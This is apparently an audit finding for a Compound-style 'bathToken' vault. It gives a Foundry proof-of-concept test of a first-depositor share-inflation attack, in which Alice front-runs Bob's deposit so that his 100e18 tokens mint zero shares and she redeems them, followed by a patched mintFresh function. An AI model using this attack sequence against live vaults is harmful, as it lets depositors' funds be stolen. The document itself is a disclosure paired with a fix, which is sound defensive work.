function createBathToken(
    address underlying,
    InterestRateModel interestRateModel,
    uint256 initialExchangeRateMantissa,
    address implementation,
    bytes memory becomeImplementationData
) external onlyAdmin {
    // underlying can be used only for one bathToken
    require(
        tokenToBathToken[underlying] == address(0),
        "createBathToken: BATHTOKEN WITH THIS ERC20 EXIST ALDREADY"
    ); 
    // ...   
}
function test_bug_firstDepositAttack() public {
  address alice = address(0xA11CE);
  address bob = address(0xB0B);

  // deal out tokens first
  vm.startPrank(TEST.admin());
  TEST.adminMint();
  TEST.transfer(alice, 200e18);
  TEST.transfer(bob, 100e18);
  vm.stopPrank();

  // initial config
  assertEq(bathTEST.exchangeRateStored(), 2e26);
  assertEq(bathTEST.totalSupply(), 0);
  assertEq(bathTEST.balanceOf(alice), 0);

  // mint tokens
  vm.prank(alice);
  TEST.approve(address(bathTEST), type(uint256).max);
  vm.prank(alice);
  bathTEST.mint(2e8);
  assertEq(bathTEST.balanceOf(alice), 1);
  assertEq(bathTEST.totalSupply(), 1);

  // alice front-running attack
  vm.prank(alice);
  TEST.transfer(address(bathTEST), 100e18);
  assertEq(bathTEST.getCash(), 100e18 + 2e8);

  // bob now deposits
  vm.prank(bob);
  TEST.approve(address(bathTEST), type(uint256).max);
  vm.prank(bob);
  bathTEST.mint(100e18);
  assertEq(bathTEST.balanceOf(bob), 0); // attacked! bob should've gotten some bathTokens
  assertEq(bathTEST.totalSupply(), 1);

  // alice redeems and gets everything
  vm.prank(alice);
  bathTEST.redeem(1);
  assertEq(TEST.balanceOf(alice), 300e18); // alice stole 100e18 from Bob
  assertEq(bathTEST.totalSupply(), 0);
}
function mintFresh(address minter, uint mintAmount) internal {
    // ...
    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint actualMintAmount = doTransferIn(minter, mintAmount);

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    // fix starts
    if (totalSupply == 0) {
        totalSupply = 1000;
        accountTokens[address(0)] = 1000;
        mintTokens -= 1000;
    }
    // fix ends

    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;
    // ...
}
